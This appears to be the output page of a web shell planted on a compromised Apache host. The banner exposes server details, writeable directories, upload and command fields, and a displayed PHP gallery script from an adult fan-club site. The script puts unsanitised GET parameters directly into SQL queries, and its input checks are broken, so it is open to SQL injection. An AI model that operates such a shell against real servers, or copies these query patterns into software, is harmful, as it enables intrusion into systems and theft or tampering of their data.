403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/store.tiacyrusxxx.com/public_html/designerclone/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/store.tiacyrusxxx.com/public_html/designerclone/content.photoset.gal.php
<?php

if (!isset($_GET['id']) && !is_numeric($_GET['id'])) {
	header('Location: models.php');
	die();
} else {
	$content_id = $_GET['id'];	
}

if (!isset($_GET['img']) && !is_numeric($_GET['img'])) {
	header('Location: content.photoset.php?id=' . $content_id);
	die();
} elseif (is_numeric($_GET['id'])) {
	$img = $_GET['img'];
}

include('site.config.php');
	
if($userDetails->xfcadmin == 9) {
	$purchased = 1;
}elseif($userDetails->xfcadmin == 1) {
	$purchased_sql = @mysql_query("SELECT * FROM cms_content WHERE content_id = '" . $content_id . "' AND model_id = '".$userDetails->model_id."'");
	if (@mysql_num_rows($purchased_sql) == 0) {
		header('Location: content.photoset.php?id=' . $_GET['id']);
		die();
	} else {
		$purchased = 1;	
	}
} else {
	$purchased_sql = @mysql_query("SELECT * FROM cms_billing_purchases WHERE memberID = '" . $memberID . "' AND  relatedID = '0' AND itemID = '".$content_id."'");
	if (@mysql_num_rows($purchased_sql) == 0) {
		header('Location: content.photoset.php?id=' . $_GET['id']);
		die();
	}
}

$content_sql = mysql_query("SELECT * FROM cms_content WHERE content_id = '" . $content_id . "'");
if (@mysql_num_rows($content_sql) == 0) {
	header('Location: models.php');
	die();
} else {
	$contentDetails = @mysql_fetch_object($content_sql);	
}
		
$imagesize_sql = @mysql_query("SELECT imagesize FROM cms_members WHERE member_id = '" . $member_id . "'");
if (@mysql_num_rows($imagesize_sql) == 1) {
	$imagesize = @mysql_fetch_object($imagesize_sql);
	$savedsize = $imagesize->imagesize;
}
		
	
if (isset($_GET['size'])) {
	$size = $_GET['size'];
	if (is_numeric($size) && isset($savedsize) && $size != $savedsize) {
		@mysql_query("UPDATE cms_members SET imagesize = '" . $size . "' WHERE member_id = '" . $member_id . "'") or die(mysql_error());
	}
} elseif (isset($savedsize)) {
	$size = $savedsize;	
} else {
	$size = 2;
}

if ($size == 1) {
	$diradd = "med/";
} elseif($size == 2) {
	$diradd = "small/";
} else {
	$diradd = "";
}

$url = 'content.photoset.gal.php?id=' . $content_id;


$getFirst = @mysql_query("SELECT itemID FROM cms_content_items WHERE content_id = '" . $content_id . "' ORDER BY itemID ASC LIMIT 1");
$firstImage = @mysql_result($getFirst,0,'itemID');

$getLast = @mysql_query("SELECT itemID FROM cms_content_items WHERE content_id = '" . $content_id . "' ORDER BY itemID DESC LIMIT 1");
$lastImage = @mysql_result($getLast,0,'itemID');

$getPrev = @mysql_query("SELECT itemID FROM cms_content_items WHERE content_id = '" . $content_id . "' AND itemID < '".$img."' ORDER BY itemID ASC LIMIT 1");
	if(@mysql_num_rows($getNext) == 0) {
		$prevImage = $lastImage;
	} else {
		$prevImage = @mysql_result($getPrev,0,'itemID');
	}
	
$getNext = @mysql_query("SELECT itemID FROM cms_content_items WHERE content_id = '" . $content_id . "' AND itemID > '".$img."' ORDER BY itemID ASC LIMIT 1");
	if(@mysql_num_rows($getNext) == 0) {
		$nextImage = $firstImage;
	} else {
		$nextImage = @mysql_result($getNext,0,'itemID');
	}

$getCurrent = @mysql_query("SELECT * FROM cms_content_items WHERE content_id = '" . $content_id . "' AND itemID = '".$img."' ORDER BY itemID ASC");
$currentImage = @mysql_fetch_object($getCurrent);


?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<title>Welcome to XFanClubs.com!</title>
<link href="css/bootstrap.min.css" rel="stylesheet">
<link href="css/xfc.css" rel="stylesheet">
<style>
.navbar {
	height: 30px;	
}
</style>
</head>

<body role="document">
<!-- Fixed navbar -->
<nav class="navbar navbar-inverse navbar-fixed-top">
  <div class="container">
    <div id="navbar" class="navbar-collapse collapse">
      <ul class="nav navbar-nav">
      	<li><a href="<?php echo $url . '&img=' . $firstImage; ?>">FIRST</a></li>
        <li><a href="<?php echo $url . '&img=' . $prevImage; ?>">PREVIOUS</a></li>
        <li><a href="content.photoset.php?id=<?php echo $content_id; ?>">INDEX</a></li>
        <li><a href="<?php echo $url . '&img=' . $nextImage; ?>">NEXT</a></li>
        <li><a href="<?php echo $url . '&img=' . $lastImage; ?>">LAST</a></li>
      </ul>
      <ul class="nav navbar-nav navbar-right">
        <li class="dropdown"> <a href="#" class="dropdown-toggle" data-toggle="dropdown" role="button" aria-expanded="false">SIZE<span class="caret"></span></a>
          <ul class="dropdown-menu" role="menu">
            <li><a href="<?php echo $url . '&img='.$img.'&size=2'; ?>">SMALL</a></li>
            <li><a href="<?php echo $url . '&img='.$img.'&size=1'; ?>">MEDIUM</a></li>
            <li><a href="<?php echo $url . '&img='.$img.'&size=0'; ?>">LARGE</a></li>
          </ul>
        </li>
      </ul>
    </div>
    <!--/.nav-collapse --> 
  </div>
</nav>

<?php 

$secureFileName = secureFile($contentDetails->directory . '/' . $diradd . $currentImage->filename);


/*


<td width="225"><strong>photo size:</strong>&nbsp;
&nbsp;&nbsp;&nbsp;<a href="content.photoset.gal.php?id=<?=$content_id?>&img=<?=$img?>&size=2" <? if($size == 2) { ?>class="fsone"<? } ?>>S</a>
&nbsp;&nbsp;-&nbsp;&nbsp;<a href="content.photoset.gal.php?id=<?=$content_id?>&img=<?=$img?>&size=1" <? if($size == 1) { ?>class="fsone"<? } ?>>M</a>
&nbsp;&nbsp;-&nbsp;&nbsp;<a href="content.photoset.gal.php?id=<?=$content_id?>&img=<?=$img?>&size=0" <? if($size == 0) { ?>class="fsone"<? } ?>>L</a>
</td>
<td height="35"><?=$nav?></td>
<td width="225" align="right" height="20"><?php echo $favorite; ?></td>
  </tr>
</table>

<div align="center">
<a href="content.photoset.gal.php?id=<?php echo $content_id; ?>&img=<?php echo $next; ?>&size=<?php echo $size; ?><?php if(isset($_GET['ss'])) { echo '&ss=' . $_GET['ss']; } ?>"><img border=0 src="view.php?content=<?php echo $content->directory . '/' . $diradd . $images[$img]; ?>"></a>
</div>
*/ ?>
<div align="center"><a href="<?php echo $url . '&img=' . $nextImage; ?>"><img src="<?php echo $secureFileName; ?>"></a></div>

<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script> 
<script src="js/bootstrap.min.js"></script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit